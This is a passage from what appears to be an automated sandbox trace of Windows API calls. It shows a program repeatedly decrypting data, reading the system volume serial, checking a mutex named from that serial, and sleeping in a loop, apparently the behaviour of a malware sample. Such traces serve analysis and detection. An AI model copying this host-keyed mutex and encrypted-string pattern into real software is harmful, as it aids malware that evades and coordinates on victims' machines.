ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.244] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0049.244] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0049.244] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.244] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0049.245] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0049.245] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0049.245] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0049.245] CryptDestroyKey (hKey=0xd727b8) returned 1 [0049.245] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0049.245] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0049.245] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0049.245] CloseHandle (hObject=0x2c0) returned 1 [0049.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0049.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0049.245] Sleep (dwMilliseconds=0x3e8) [0050.618] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0050.618] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0050.618] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0050.618] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0050.618] CryptDestroyKey (hKey=0xd727b8) returned 1 [0050.618] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0050.618] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0050.618] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0050.618] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0050.618] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0050.618] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0050.618] CryptDestroyKey (hKey=0xd727b8) returned 1 [0050.618] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0050.618] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0050.618] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0050.618] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0050.618] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.618] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0050.618] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0050.618] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0050.618] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0050.618] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0050.619] CryptDestroyKey (hKey=0xd727b8) returned 1 [0050.619] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0050.619] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0050.619] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0050.619] CloseHandle (hObject=0x2c0) returned 1 [0050.619] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0050.619] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0050.619] Sleep (dwMilliseconds=0x3e8) [0051.900] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0051.900] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fe10) returned 1 [0051.900] CryptSetKeyParam (hKey=0xd7fe10, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0051.900] CryptDecrypt (in: hKey=0xd7fe10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0051.900] CryptDestroyKey (hKey=0xd7fe10) returned 1 [0051.900] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0051.900] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0051.900] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0051.900] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fe10) returned 1 [0051.900] CryptSetKeyParam (hKey=0xd7fe10, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0051.900] CryptDecrypt (in: hKey=0xd7fe10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0051.900] CryptDestroyKey (hKey=0xd7fe10) returned 1 [0051.900] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0051.900] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.900] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0051.900] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0051.900] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.900] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0051.900] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0051.900] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7fd90) returned 1 [0051.901] CryptSetKeyParam (hKey=0xd7fd90, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0051.901] CryptDecrypt (in: hKey=0xd7fd90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0051.901] CryptDestroyKey (hKey=0xd7fd90) returned 1 [0051.901] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0051.901] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2bc [0051.901] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0x0) returned 0x102 [0051.901] CloseHandle (hObject=0x2bc) returned 1 [0051.901] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0051.901] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0051.901] Sleep (dwMilliseconds=0x3e8) [0053.438] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0053.438] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fc10) returned 1 [0053.438] CryptSetKeyParam (hKey=0xd7fc10, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0053.438] CryptDecrypt (in: hKey=0xd7fc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0053.438] CryptDestroyKey (hKey=0xd7fc10) returned 1 [0053.438] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0053.438] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0053.438] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0053.438] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fa50) returned 1 [0053.438] CryptSetKeyParam (hKey=0xd7fa50, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0053.438] CryptDecrypt (in: hKey=0xd7fa50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0053.438] CryptDestroyKey (hKey=0xd7fa50) returned 1 [0053.438] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0053.438] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.438] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0053.438] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0053.438] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.438] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0053.438] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0053.438] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7fb90) returned 1 [0053.439] CryptSetKeyParam (hKey=0xd7fb90, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0053.439] CryptDecrypt (in: hKey=0xd7fb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0053.439] CryptDestroyKey (hKey=0xd7fb90) returned 1 [0053.439] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0053.439] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0053.439] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0053.439] CloseHandle (hObject=0x2c4) returned 1 [0053.439] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0053.439] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0053.439] Sleep (dwMilliseconds=0x3e8) [0055.101] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0055.101] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7ff50) returned 1 [0055.101] CryptSetKeyParam (hKey=0xd7ff50, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0055.101] CryptDecrypt (in: hKey=0xd7ff50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0055.101] CryptDestroyKey (hKey=0xd7ff50) returned 1 [0055.101] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0055.101] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0055.101] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0055.101] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7f8d0) returned 1 [0055.101] CryptSetKeyParam (hKey=0xd7f8d0, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0055.102] CryptDecrypt (in: hKey=0xd7f8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0055.102] CryptDestroyKey (hKey=0xd7f8d0) returned 1 [0055.102] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0055.102] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.102] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0055.102] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0055.102] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.102] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0055.102] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0055.102] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7fa10) returned 1 [0055.102] CryptSetKeyParam (hKey=0xd7fa10, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0055.102] CryptDecrypt (in: hKey=0xd7fa10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0055.102] CryptDestroyKey (hKey=0xd7fa10) returned 1 [0055.102] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0055.102] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0055.102] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0055.102] CloseHandle (hObject=0x2c4) returned 1 [0055.102] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0055.102] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0055.102] Sleep (dwMilliseconds=0x3e8) [0056.589] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0056.589] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fc90) returned 1 [0056.589] CryptSetKeyParam (hKey=0xd7fc90, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0056.589] CryptDecrypt (in: hKey=0xd7fc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0056.589] CryptDestroyKey (hKey=0xd7fc90) returned 1 [0056.589] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0056.589] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0056.589] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0056.589] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fd10) returned 1 [0056.589] CryptSetKeyParam (hKey=0xd7fd10, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0056.589] CryptDecrypt (in: hKey=0xd7fd10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0056.589] CryptDestroyKey (hKey=0xd7fd10) returned 1 [0056.589] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0056.589] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.589] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0056.589] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0056.589] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.601] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0056.601] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0056.601] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7fed0) returned 1 [0056.602] CryptSetKeyParam (hKey=0xd7fed0, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0056.602] CryptDecrypt (in: hKey=0xd7fed0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0056.602] CryptDestroyKey (hKey=0xd7fed0) returned 1 [0056.602] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0056.602] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0056.602] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0056.602] CloseHandle (hObject=0x2c4) returned 1 [0056.602] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0056.602] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0056.602] Sleep (dwMilliseconds=0x3e8) [0058.028] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0058.028] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fc90) returned 1 [0058.028] CryptSetKeyParam (hKey=0xd7fc90, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0058.028] CryptDecrypt (in: hKey=0xd7fc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0058.028] CryptDestroyKey (hKey=0xd7fc90) returned 1 [0058.028] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0058.028] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0058.028] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0058.028] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fd50) returned 1 [0058.028] CryptSetKeyParam (hKey=0xd7fd50, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0058.028] CryptDecrypt (in: hKey=0xd7fd50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0058.028] CryptDestroyKey (hKey=0xd7fd50) returned 1 [0058.028] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0058.028] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.028] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0058.028] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0058.028] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.029] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0058.029] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0058.029] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7f9d0) returned 1 [0058.029] CryptSetKeyParam (hKey=0xd7f9d0, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0058.029] CryptDecrypt (in: hKey=0xd7f9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0058.029] CryptDestroyKey (hKey=0xd7f9d0) returned 1 [0058.029] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0058.029] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0058.029] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0058.029] CloseHandle (hObject=0x2c4) returned 1 [0058.029] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0058.029] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0058.029] Sleep (dwMilliseconds=0x3e8) [0059.245] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0059.245] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fc90) returned 1 [0059.245] CryptSetKeyParam (hKey=0xd7fc90, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0059.245] CryptDecrypt (in: hKey=0xd7fc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0059.245] CryptDestroyKey (hKey=0xd7fc90) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0059.245] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0059.245] RtlAllocateHeap (HeapHandle=0x2960000, 